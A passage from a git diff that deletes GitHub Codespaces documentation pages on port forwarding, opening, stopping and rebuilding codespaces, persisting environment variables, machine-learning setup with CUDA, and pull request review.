reusables.cli.cli-learn-more %} - -To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed. - -```shell -gh codespace ports forward CODESPACE-PORT:LOCAL-PORT -``` - -For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward). - -To see details of forwarded ports enter `gh codespace ports` and then choose a codespace. - -{% data reusables.codespaces.port-forwarding-sharing %} - -To change the visibility of a forwarded port, use the `gh codespace ports visibility` subcommand. {% data reusables.codespaces.port-visibility-settings %} - -Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed. - -```shell -gh codespace ports visibility CODESPACE-PORT:SETTINGS -``` - -You can set the visibility for multiple ports with one command. For example: - -```shell -gh codespace ports visibility 80:private 3000:public 3306:org -``` - -For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_visibility). - -{% data reusables.codespaces.using-tools-to-access-ports-1 %} - -### Finding the address to connect to - -To find the address for a forwarded port, enter `gh codespace ports`. If you have more than one codespace, select the appropriate codespace from the list that's displayed. - -Copy the address and paste it somewhere for later use. - -### Finding the GITHUB_TOKEN - -1. Start an SSH session for your codespace. - - ```shell - gh codespace ssh - ``` - -1. If you have more than one codespace, select the appropriate codespace from the list that's displayed. -1. Display the `GITHUB_TOKEN`. - - ```shell - echo $GITHUB_TOKEN - ``` - - The token is a string beginning `ghu_`. - -1. Copy the token. - - > [!IMPORTANT] - > Don't share this access token with anyone. - -1. Exit the SSH session. - - ```shell - exit - ``` - -{% data reusables.codespaces.using-tools-to-access-ports-2 %} -{% data reusables.codespaces.port-forwarding-adding %} -{% data reusables.codespaces.port-forwarding-labeling %} - -### Seeing port labels on the command line - -You can see the port labels when you list the forwarded ports for a codespace. To do this, use the `gh codespace ports` command and then select a codespace. - -{% endcli %} diff --git a/content/codespaces/developing-in-a-codespace/getting-started-with-github-codespaces-for-machine-learning.md b/content/codespaces/developing-in-a-codespace/getting-started-with-github-codespaces-for-machine-learning.md deleted file mode 100644 index b379cbb7eb20..000000000000 --- a/content/codespaces/developing-in-a-codespace/getting-started-with-github-codespaces-for-machine-learning.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Getting started with GitHub Codespaces for machine learning -shortTitle: Machine learning -intro: 'Learn about working on machine learning projects with {% data variables.product.prodname_github_codespaces %} and its out-of-the-box tools.' -versions: - fpt: '*' - ghec: '*' -type: tutorial -topics: - - Codespaces - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning ---- - -## Introduction - -This guide introduces you to machine learning with {% data variables.product.prodname_github_codespaces %}. You’ll build a simple image classifier, learn about some of the tools that come preinstalled in {% data variables.product.prodname_github_codespaces %}, and find out how to open your codespace in JupyterLab. - -## Building a simple image classifier - -We'll use a Jupyter notebook to build a simple image classifier. - -Jupyter notebooks are sets of cells that you can execute one after another. The notebook we'll use includes a number of cells that build an image classifier using [PyTorch](https://pytorch.org/). Each cell is a different phase of that process: download a dataset, set up a neural network, train a model, and then test that model. - -We'll run all of the cells, in sequence, to perform all phases of building the image classifier. When we do this Jupyter saves the output back into the notebook so that you can examine the results. - -### Creating a codespace - -1. Go to the [github/codespaces-jupyter](https://github.com/github/codespaces-jupyter) template repository. -{% data reusables.codespaces.use-this-template %} - -A codespace for this template will open in a web-based version of {% data variables.product.prodname_vscode %}. - -### Opening the image classifier notebook - -The default container image that's used by {% data variables.product.prodname_github_codespaces %} includes a set of machine learning libraries that are preinstalled in your codespace. For example, Numpy, pandas, SciPy, Matplotlib, seaborn, scikit-learn, Keras, PyTorch, Requests, and Plotly. For more information about the default image, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#using-the-default-dev-container-configuration) and the [devcontainers/images](https://github.com/devcontainers/images/tree/main/src/universal) repository. - -1. In the {% data variables.product.prodname_vscode_shortname %} editor, close any "Get Started" tabs that are displayed. -1. Open the `notebooks/image-classifier.ipynb` notebook file. - -### Building the image classifier - -The image classifier notebook contains all the code you need to download a dataset, train a neural network, and evaluate its performance. - -1. Click **Run All** to execute all of the notebook’s cells. - - ![Screenshot of the top of the editor tab for the "image-classifier.ipynb" file. A cursor hovers over a button labeled "Run All."](/assets/images/help/codespaces/jupyter-run-all.png) - -1. If you are prompted to choose a kernel source, select **Python Environments**, then select the version of Python at the recommended location. - - ![Screenshot of the "Select a Python Environment" dropdown. The first option in the list of Python versions is labeled "Recommended."](/assets/images/help/codespaces/jupyter-choose-python.png) - -1. Scroll down to view the output of each cell. - - ![Screenshot of the cell in the editor, with the header "Step 3: Train the network and save model."](/assets/images/help/codespaces/jupyter-notebook-step3.png) - -## Opening your codespace in JupyterLab - -You can open your codespace in JupyterLab from the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces), or by using {% data variables.product.prodname_cli %}. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/opening-an-existing-codespace). - -{% data reusables.codespaces.jupyterlab-installed-in-codespace %} - -## Configuring NVIDIA CUDA for your codespace - -> [!NOTE] -> This section only applies to customers who can create codespaces on machines that use a GPU. The ability to choose a machine type that uses a GPU was offered to selected customers during a trial period. This option is not generally available. - -Some software requires you to install NVIDIA CUDA to use your codespace’s GPU. Where this is the case, you can create your own custom configuration, by using a `devcontainer.json` file, and specify that CUDA should be installed. For more information on creating a custom configuration, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#creating-a-custom-dev-container-configuration). - -For full details of the script that's run when you add the `nvidia-cuda` feature, see the [devcontainers/features](https://github.com/devcontainers/features/tree/main/src/nvidia-cuda) repository. - -1. Within the codespace, open the `.devcontainer/devcontainer.json` file in the editor. -1. Add a top-level `features` object with the following contents: - - ```json copy - "features": { - "ghcr.io/devcontainers/features/nvidia-cuda:1": { - "installCudnn": true - } - } - ``` - - For more information about the `features` object, see the [development containers specification](https://containers.dev/implementors/features/#devcontainer-json-properties). - - If you are using the `devcontainer.json` file from the image classifier repository you created for this tutorial, your `devcontainer.json` file will now look like this: - - ```json - { - "customizations": { - "vscode": { - "extensions": [ - "ms-python.python", - "ms-toolsai.jupyter" - ] - } - }, - "features": { - "ghcr.io/devcontainers/features/nvidia-cuda:1": { - "installCudnn": true - } - } - } - ``` - -1. Save the change. -{% data reusables.codespaces.rebuild-command %} - The codespace container will be rebuilt. This will take several minutes. When the rebuild is complete the codespace is automatically reopened. -1. Publish your change to a repository so that CUDA will be installed in any new codespaces you create from this repository in future. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template#publishing-from-vs-code). diff --git a/content/codespaces/developing-in-a-codespace/index.md b/content/codespaces/developing-in-a-codespace/index.md deleted file mode 100644 index f8f54b7daa68..000000000000 --- a/content/codespaces/developing-in-a-codespace/index.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Developing in a codespace -intro: Create a codespace to get started with developing your project inside a dedicated cloud environment. You can use your codespace in the browser or in a choice of code editors. -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -children: - - /developing-in-a-codespace - - /creating-a-codespace-for-a-repository - - /creating-a-codespace-from-a-template - - /deleting-a-codespace - - /opening-an-existing-codespace - - /working-collaboratively-in-a-codespace - - /using-source-control-in-your-codespace - - /using-github-codespaces-for-pull-requests - - /stopping-and-starting-a-codespace - - /forwarding-ports-in-your-codespace - - /rebuilding-the-container-in-a-codespace - - /default-environment-variables-for-your-codespace - - /persisting-environment-variables-and-temporary-files - - /connecting-to-a-private-network - - /getting-started-with-github-codespaces-for-machine-learning - - /using-github-codespaces-in-visual-studio-code - - /using-github-codespaces-with-github-cli -redirect_from: - - /codespaces/developing-in-codespaces ---- - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} diff --git a/content/codespaces/developing-in-a-codespace/opening-an-existing-codespace.md b/content/codespaces/developing-in-a-codespace/opening-an-existing-codespace.md deleted file mode 100644 index 75593637b5e0..000000000000 --- a/content/codespaces/developing-in-a-codespace/opening-an-existing-codespace.md +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Opening an existing codespace -intro: You can reopen a codespace that you have closed or stopped and return to your work. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Open an existing codespace -redirect_from: - - /codespaces/developing-in-codespaces/opening-an-existing-codespace ---- - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} - -You can reopen any of your active or stopped codespaces on {% data variables.product.github %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. You can't reopen a codespace that has been deleted. See [AUTOTITLE](/codespaces/about-codespaces/understanding-the-codespace-lifecycle). - -You can view all your codespaces on the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces). From this page, you can: - -* Open, stop, or delete your codespaces. -* See who owns (and may be billed for) your codespaces: your personal account, or organizations you belong to. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). -* See the machine type, size, and status of your codespaces. -* Create a new codespace, either by choosing one of {% data variables.product.company_short %}'s templates or by clicking **New codespace**. See [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template) and [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository). -* Prevent automatic deletion of a codespace. See [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces?tool=webui#avoiding-automatic-deletion-of-codespaces). - -{% webui %} - -## Resuming a codespace from a repository page - -You can quickly resume a codespace when you're viewing a repository on {% data variables.product.github %}. - -1. With the **{% octicon "code" aria-hidden="true" %} Code** tab of your repository displayed on {% data variables.product.github %}, press <kbd>,</kbd> (the comma key). - - The "Resume codespace" page is displayed. This allows you to resume your most recently used codespace for the currently selected branch of the repository or, if you were viewing a pull request, for the topic branch of the pull request. - - ![Screenshot of the "Resume codespace" page showing the "Resume this codespace" and "Create a new one" buttons.](/assets/images/help/codespaces/resume-codespace.png) - -1. Click **Resume this codespace**. - - Alternatively, if you want to create a new codespace for this branch of the repository, click **Create a new one**. - - > [!NOTE] - > If you don't have an existing codespace for this branch, the page is titled "Create codespace" and a button labeled **Create a new codespace** is displayed. - -You can bookmark the address of this page if you want to get back to it quickly to resume your codespace. Alternatively you can use the address in a link to provide other people with a quick way of creating and resuming their own codespaces for this repository. - -## Opening an existing codespace from the "Your codespaces" page - -{% data reusables.codespaces.your-codespaces-procedure-step %} -1. To open a codespace in your default editor, click the name of the codespace. {% data reusables.codespaces.about-changing-default-editor %} See [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces). - - To open the codespace in an editor other than your default: - - 1. Click the ellipsis (**...**) to the right of the codespace you want to open. - 1. Click **Open in**. - 1. Click **Open in APPLICATION**. - - You can open the codespace in: - * Your browser - * {% data variables.product.prodname_vscode %} - * JupyterLab - - {% data reusables.codespaces.application-installed-locally %} - - If you choose **JupyterLab**, the JupyterLab application must be installed in the codespace. {% data reusables.codespaces.jupyterlab-in-default-image %} - -{% data reusables.codespaces.linking-to-an-existing-codespace %} - -{% endwebui %} - -{% vscode %} - -## Reopening an existing codespace - -> [!NOTE] -> {% data reusables.codespaces.using-codespaces-in-vscode %} See [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code). - -1. In the {% data variables.product.prodname_vscode_shortname %} desktop application, open the Command Palette with <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux). -1. Type "Codespaces" and select one of the following commands. - * To open a codespace in a new window of {% data variables.product.prodname_vscode_shortname %}, select **Codespaces: Open Codespace in New Window** - * To open a codespace in the web editor, select **Codespaces: Open in Browser** -1. Click the codespace that you want to open. - - ![Screenshot of the {% data variables.product.prodname_vscode_shortname %} Command Palette showing a list of codespaces available to connect to.](/assets/images/help/codespaces/open-codespace-from-vscode.png) - -You can also access the commands listed above by navigating to the Remote Explorer view in {% data variables.product.prodname_vscode_shortname %} and right-clicking the codespace that you want to open. - -![Screenshot of a codespace selected in the Remote Explorer, with "Open in Browser" highlighted in the right-click menu.](/assets/images/help/codespaces/open-codespace-remote-explorer.png) - -{% data reusables.codespaces.remote-explorer %} - -{% data reusables.codespaces.linking-to-an-existing-codespace %} - -{% endvscode %} - -{% cli %} - -## Reopening an existing codespace - -{% data reusables.codespaces.using-github-cli %} - -1. In a terminal, enter one of the following {% data variables.product.prodname_cli %} commands. - * To open a codespace in {% data variables.product.prodname_vscode_shortname %}, enter: - - ```shell copy - gh codespace code - ``` - - > [!NOTE] - > You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. See [Setting up {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/docs/setup/setup-overview) in the {% data variables.product.prodname_vscode_shortname %} documentation. - - * To open a codespace in the browser, enter: - - ```shell copy - gh codespace code --web - ``` - - * To open a codespace in JupyterLab, enter: - - ```shell copy - gh codespace jupyter - ``` - - > [!NOTE] - > {% data reusables.codespaces.jupyterlab-installed-in-codespace %} - - * To access a codespace from the command line, over SSH, enter: - - ```shell copy - gh codespace ssh - ``` - -1. Using the arrow keys, navigate to the codespace that you want to open. -1. To open the codespace, press <kbd>Enter</kbd>. - -See [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) in the {% data variables.product.prodname_cli %} manual. - -{% endcli %} - -## Further reading - -* [AUTOTITLE](/rest/codespaces/organizations) diff --git a/content/codespaces/developing-in-a-codespace/persisting-environment-variables-and-temporary-files.md b/content/codespaces/developing-in-a-codespace/persisting-environment-variables-and-temporary-files.md deleted file mode 100644 index 5c192495ec56..000000000000 --- a/content/codespaces/developing-in-a-codespace/persisting-environment-variables-and-temporary-files.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Persisting environment variables and temporary files -intro: You can configure custom environment variables so that they are set to the same value every time you open a codespace. You can also ensure that temporary files are not deleted when a codespace stops. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Persist variables and files -redirect_from: - - /codespaces/developing-in-codespaces/persisting-environment-variables-and-temporary-files ---- - -## Setting persistent environment variables - -You can set persistent custom environment variables in multiple ways, depending on which codespaces, repositories, or users you want the variables to be available to. - -For all the methods of setting custom variables listed below, you can access the custom variable in your codespace by using syntax like `echo $VARNAME`. - -### For a single codespace - -You can set the value of the environment variable in the `~/.bashrc` file, or in an equivalent configuration file if you are not using the Bash shell. For example, add the statement `VARNAME=value`. - -After you save the change to this file, the value will be set the next time you open the codespace, or you can set it immediately by using a command such as `source ~/.bashrc`. The variable will remain set if you stop and start the codespace. However, changes to files in the home directory will be reset if you rebuild the container, so variables set in the `~/.bashrc` file will not persist over a rebuild. For more information, see [Preventing temporary files from being automatically deleted](#preventing-temporary-files-from-being-automatically-deleted). - -### For all codespaces for a repository - -There are three ways that you can set persistent custom environment variables for all codespaces that you create for a repository: - -* You can edit the `devcontainer.json` configuration file for the repository. -* You can use a custom Dockerfile. -* You can use development environment secrets. - -#### Edit the `devcontainer.json` configuration file for the repository - -Edit the `devcontainer.json` configuration file for the repository, and use the `remoteEnv` property to set the environment variable value: - -```json -{ - "remoteEnv": { - "VARNAME": "value" - } -} -``` - -Only use this method for values that you are happy to commit to your repository as plaintext. For sensitive values such as access tokens, use development environment secrets. - -The environment variable will be set within your editor's remote server process, and will be available for sub-processes of that remote server process, such as terminals and debugging sessions. However, the variable will not be available more broadly inside the container. This method is useful if you don't need the environment variable to be set for other background processes that run at startup, and if you are using a premade image and don't have or want a custom Dockerfile. - -This setting will take effect when you rebuild your container or create a new codespace after pushing this change to the repository. For more information about applying configuration changes to a codespace, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -#### Use a custom Dockerfile - -If you are using a custom Dockerfile you can set the environment variable there by adding `ENV VARNAME=value`. - -This method is useful if you already have a Dockerfile and want to set a variable on a container-wide level. - -This setting will take effect when you rebuild your container or create a new codespace after pushing this change to the repository. For more information about applying configuration changes to a codespace, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -#### Use development environment secrets - -You can use development environment secrets for {% data variables.product.prodname_github_codespaces %} to set custom variables for codespaces created for the repository. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces). - -You should use this method for environment variable values that you do not want to commit to the repository as plaintext. - -This setting will take effect the next time you create a codespace for this repository, or when you restart an existing codespace. - -### For all codespaces that you create - -If you want to set a personalized environment variable for all codespaces that you create you can set this using a file in your `dotfiles` repository. For example, add `VARNAME=value` in the `.bash_profile` file. Environment variables you set in a dotfile are personal to you and are not set for anyone else. For more information about Dotfiles, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#dotfiles). - -## Preventing temporary files from being automatically deleted - -{% data reusables.codespaces.workspaces-directory %} For information about creating symlinks to preserve data outside the `/workspaces` directory, see [AUTOTITLE](/codespaces/developing-in-a-codespace/rebuilding-the-container-in-a-codespace#persisting-data-over-a-rebuild). - -The `/tmp` directory is an exception because it is mounted into the container, but it is not persistent. Therefore, the contents of the `/tmp` directory are persisted over a rebuild, but are cleared each time the codespace stops. For example, the `/tmp` directory is cleared when a codespace session times out after a period of inactivity. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). - -If you have temporary files that you want to be available the next time you start the codespace, do not save them in the `/tmp` directory. - -## Further reading - -* [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-shell-in-a-codespace) diff --git a/content/codespaces/developing-in-a-codespace/rebuilding-the-container-in-a-codespace.md b/content/codespaces/developing-in-a-codespace/rebuilding-the-container-in-a-codespace.md deleted file mode 100644 index e95dea7e1a82..000000000000 --- a/content/codespaces/developing-in-a-codespace/rebuilding-the-container-in-a-codespace.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Rebuilding the container in a codespace -intro: 'You can rebuild the dev container of a codespace you are working in to apply configuration changes. From time to time, you may want to perform a full rebuild.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces -shortTitle: Rebuilding a container -redirect_from: - - /codespaces/codespaces-reference/performing-a-full-rebuild-of-a-container - - /codespaces/developing-in-codespaces/rebuilding-the-container-in-a-codespace ---- - -## About rebuilding the dev container - -When you work in a codespace, your development environment is a Docker container that runs on a virtual machine. If you make changes to your dev container configuration from within a codespace, and you want to apply those changes to the current codespace, you need to rebuild the container. - -By default, when you rebuild the dev container, {% data variables.product.prodname_github_codespaces %} will speed up the build process by reusing cached images from previous builds of the container. This is usually the quickest way to implement changes to your dev container configuration, for the following reasons. -* {% data variables.product.prodname_github_codespaces %} can reuse images in your cache rather than repulling them from container registries. -* The parts of your dev container configuration that define how the container is built, such as dev container features and Dockerfile instructions, may have already been implemented in image layers in your cache, so you won't need to wait for these processes to run again. (However, commands in your configuration that run after the container is built, such as `onCreateCommand`, will run again.) - -Occasionally, you may want to perform a full rebuild of your container. With a full rebuild, {% data variables.product.prodname_github_codespaces %} cleans all Docker containers, images, and volumes from the cache, then rebuilds your container with newly pulled images. All the setup defined in your configuration will run again, generating new image layers. You may want to perform a full rebuild after many iterations of rebuilding your container with cached images, in situations such as the following. - -* You want to ensure that the setup defined in your configuration is not dependent on cached images, and will run as required when someone creates a new codespace based on the configuration. For example, a dependency may have been removed from the base image since it was last pulled into your codespace. -* You want to free up the disk space used by your cache, for example if you are low on disk space or want to minimize storage charges. Your image cache might be using a significant amount of disk space if you've changed your base image multiple times, if you've made a large number of iterative changes to your configuration, or if you're running multiple containers with Docker Compose. - -## Rebuilding a container - -You can rebuild a container within a codespace in the {% data variables.product.prodname_vscode_shortname %} web client or desktop application, or you can use {% data variables.product.prodname_cli %}. - -### Rebuilding the dev container in the {% data variables.product.prodname_vscode_shortname %} web client or desktop application - -{% data reusables.codespaces.command-palette %} - -1. Start typing "Rebuild" and select **Codespaces: Rebuild Container**. - - ![Screenshot of the "Codespaces: Rebuild Container" option in the Command Palette.](/assets/images/help/codespaces/codespaces-rebuild.png) - -1. Select **Rebuild** or **Full Rebuild** in the confirmation dialog which opens. - -{% data reusables.codespaces.rebuilding-container-procedures %} - -To perform a full rebuild with {% data variables.product.prodname_cli %}, you can use the `gh codespace rebuild --full` command. - -## Persisting data over a rebuild - -{% data reusables.codespaces.workspaces-directory %} - -If you want to preserve files outside the `/workspaces` directory over a rebuild, you can create, at the desired location in the container, a symbolic link (symlink) to the persistent directory. For example, in your `/workspaces/.devcontainer` directory, you can create a `config` directory that will be preserved across a rebuild. You can then symlink the `config` directory and its contents as a `postCreateCommand` in your `devcontainer.json` file. - -```json -{ - "image": "mcr.microsoft.com/devcontainers/base:alpine", - "postCreateCommand": "chmod +x .devcontainer/postCreate.sh && .devcontainer/postCreate.sh" -} -``` - -In the example `postCreate.sh` file below, the contents of the `config` directory are symbolically linked to the home directory. - -```bash -#!/bin/bash -ln -sf $PWD/.devcontainer/config $HOME/config && set +x -``` - -## Further reading - -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers) diff --git a/content/codespaces/developing-in-a-codespace/stopping-and-starting-a-codespace.md b/content/codespaces/developing-in-a-codespace/stopping-and-starting-a-codespace.md deleted file mode 100644 index ffe2ce5d6dd6..000000000000 --- a/content/codespaces/developing-in-a-codespace/stopping-and-starting-a-codespace.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Stopping and starting a codespace -intro: You can stop and start your codespace to save resources and to pause work. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Stop a codespace -redirect_from: - - /codespaces/developing-in-codespaces/stopping-and-starting-a-codespace ---- - -## About stopping and starting a codespace - -{% data reusables.codespaces.stopping-a-codespace %} - -Regardless of where you created or access your codespaces, you can view and manage them in your browser at https://github.com/codespaces. - -## Stopping a codespace - -{% webui %} - -{% data reusables.codespaces.navigate-to-codespaces-page %} - 1. To the right of the codespace you want to stop, click the ellipsis (**...**). - 1. Click **Stop codespace**. - - ![Screenshot of a list of codespaces with the dropdown menu for one of them displayed, showing the "Stop codespace" option.](/assets/images/help/codespaces/stop-codespace-webui.png) - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To stop a codespace use the `gh codespace stop` subcommand and then choose the codespace you want to stop from the list that's displayed. - -```shell copy -gh codespace stop -``` - -{% endcli %} - -{% vscode %} - -{% data reusables.vs-code.open-command-palette %} -1. Type `stop` and select **Codespaces: Stop Codespace** from the list of options. -1. In the list of codespaces, select the codespace you want to stop. - -{% endvscode %} - -## Restarting a codespace - -{% webui %} - -{% data reusables.codespaces.navigate-to-codespaces-page %} -1. Click the name of the codespace you want to restart. - - ![Screenshot of a list of two codespaces on GitHub. The names of the codespaces are highlighted with dark orange outlines.](/assets/images/help/codespaces/restart-codespace-webui.png) - -{% endwebui %} - -{% cli %} - -When you restart a codespace you can choose to open it in {% data variables.product.prodname_vscode %} or in your browser. - -* To restart a codespace and open it in {% data variables.product.prodname_vscode %}, use the `gh codespace code` subcommand and then choose the codespace you want to restart from the list that's displayed. - - ```shell copy - gh codespace code - ``` - -* To restart a codespace and open it in your browser, use the `gh codespace open --web` subcommand and then choose the codespace you want to restart from the list that's displayed. - - ```shell copy - gh codespace open --web - ``` - -{% endcli %} - -{% vscode %} - -{% data reusables.vs-code.open-command-palette %} -1. Type `connect` and select **Codespaces: Connect to Codespace** from the list of options. -1. In the list of codespaces, select the codespace you want to restart. - -{% endvscode %} - -## Further reading - -* [AUTOTITLE](/codespaces/about-codespaces/understanding-the-codespace-lifecycle) diff --git a/content/codespaces/developing-in-a-codespace/using-github-codespaces-for-pull-requests.md b/content/codespaces/developing-in-a-codespace/using-github-codespaces-for-pull-requests.md deleted file mode 100644 index 12214256fb98..000000000000 --- a/content/codespaces/developing-in-a-codespace/using-github-codespaces-for-pull-requests.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Using GitHub Codespaces for pull requests -shortTitle: Pull requests -intro: 'You can use {% data variables.product.prodname_github_codespaces %} in your web browser, or in {% data variables.product.prodname_vscode %} to create pull requests, review pull requests, and address review comments.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Visual Studio Code - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/using-codespaces-for-pull-requests - - /codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests ---- - -Using a codespace to work on a pull request gives you all the benefits of {% data variables.product.prodname_github_codespaces %}. For more information, see [AUTOTITLE](/codespaces/about-codespaces/codespaces-features). - -## About pull requests in {% data variables.product.prodname_github_codespaces %} - -{% data variables.product.prodname_github_codespaces %} provides you with many of the capabilities you might need to work with pull requests: - -* [Create a pull request](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace#raising-a-pull-request) - Using either the Terminal and Git commands or the "Source Control" view, you can create pull requests just as you would on {% data variables.product.github %}. If the repository uses a pull request template, you'll be able to use this within the "Source Control" view. -* [Open a pull request](#opening-a-pull-request-in-codespaces) – You can open an existing pull request in a codespace, provided you have codespace access to the branch that is being merged in. -* [Review a pull request](#reviewing-a-pull-request-in-codespaces) - Once you have opened a pull request in a codespace, you can use the "GitHub Pull Request" view to add review comments and approve pull requests. You can also use {% data variables.product.prodname_github_codespaces %} to [view review comments](#view-comments-from-a-review-in-codespaces). - -## Opening a pull request in {% data variables.product.prodname_codespaces %} - -{% data reusables.repositories.sidebar-pr %} - -1. In the list of pull requests, click the pull request you'd like to open in {% data variables.product.prodname_codespaces %}. -1. On the right-hand side of your screen, click **{% octicon "code" aria-hidden="true" %} Code**. -1. In the {% data variables.product.prodname_codespaces %} tab, click {% octicon "plus" aria-label="Create a codespace on BRANCH" %}. - - ![Screenshot of the "Code" dropdown with the "{% data variables.product.prodname_codespaces %}" tab selected. The message "No codespaces" is displayed. The plus button is highlighted.](/assets/images/help/codespaces/open-with-codespaces-pr.png) - - A codespace is created for the pull request branch and is opened in your default editor for {% data variables.product.prodname_github_codespaces %}. - -## Reviewing a pull request in {% data variables.product.prodname_codespaces %} - -1. With your default editor set to either {% data variables.product.prodname_vscode %} or {% data variables.product.prodname_vscode %} for Web, open the pull request in a codespace, as described in [Opening a pull request in {% data variables.product.prodname_codespaces %}](#opening-a-pull-request-in-codespaces) previously in this article. -1. In the Activity Bar, click the Git pull request icon to display the "{% data variables.product.prodname_dotcom %} Pull Request" side bar. This icon is only displayed in the Activity Bar when you open a pull request in a codespace. - - ![Screenshot of the {% data variables.product.prodname_vscode_shortname %} Activity Bar. The mouse pointer is hovering over an icon displaying the tooltip "{% data variables.product.prodname_dotcom %} Pull Request."](/assets/images/help/codespaces/github-pr-view.png) - - If you opened a pull request in a codespace and the pull request icon is not displayed in the Activity Bar, make sure you are signed in to {% data variables.product.prodname_dotcom %}. Click the {% data variables.product.prodname_dotcom %} icon in the Activity Bar then click **Sign in**. - - ![Screenshot of the {% data variables.product.prodname_dotcom %} side bar showing the "Sign in" button. The {% data variables.product.prodname_dotcom %} icon in the Activity Bar is highlighted with an orange outline.](/assets/images/help/codespaces/sign-in-to-github.png) - -1. To review the changes that have been made to a specific file, click the file's name in the "{% data variables.product.prodname_dotcom %} Pull Request" side bar. - - ![Screenshot of the "{% data variables.product.prodname_dotcom %} Pull Request" side bar. A file name is highlighted with a dark orange outline.](/assets/images/help/codespaces/changes-in-files.png) - - This displays a diff view in the editor, with the version of the file from the base branch on the left, and the new version of the file, from the head branch of the pull request, on the right. - -1. To add a review comment, click the **+** sign next to the line number in the file displayed on the right side of the editor. - - ![Screenshot of the diff view. In the head version of the file, on the right side of the editor, the plus sign next to a line is highlighted.](/assets/images/help/codespaces/create-review-comment.png) - -1. Type your review comment and then click **Start Review**. - - ![Screenshot of a comment being added, reading "Yes, I agree, this is clearer." The "Start Review" button is shown below the comment.](/assets/images/help/codespaces/start-review.png) - -{% data reusables.codespaces.reviewing-a-pr %} - -1. When you are finished adding review comments, you can add a summary comment for your pull request review in the "{% data variables.product.prodname_dotcom %} Pull Request" side bar. You can then click **Comment and Submit**, or click the dropdown arrow and select **Approve and Submit** or **Request Changes and Submit**. - - ![Screenshot of the side bar showing the dropdown options "Comment and Submit," "Approve and Submit," and "Request Changes and Submit."](/assets/images/help/codespaces/submit-review.png) - -For more information on reviewing a pull request, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). - -## View comments from a review in {% data variables.product.prodname_codespaces %} - -Once you have received feedback on a pull request, you can [open it in a codespace](#opening-a-pull-request-in-codespaces) in your web browser, or in {% data variables.product.prodname_vscode_shortname %}, to see the [review comments](#reviewing-a-pull-request-in-codespaces). From there you can respond to comments, add reactions, or dismiss the review. diff --git a/content/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code.md b/content/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code.md deleted file mode 100644 index cd39f1db5b00..000000000000 --- a/content/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Using GitHub Codespaces in Visual Studio Code -shortTitle: Visual Studio Code -intro: 'You can develop in your codespace directly in {% data variables.product.prodname_vscode %} by connecting 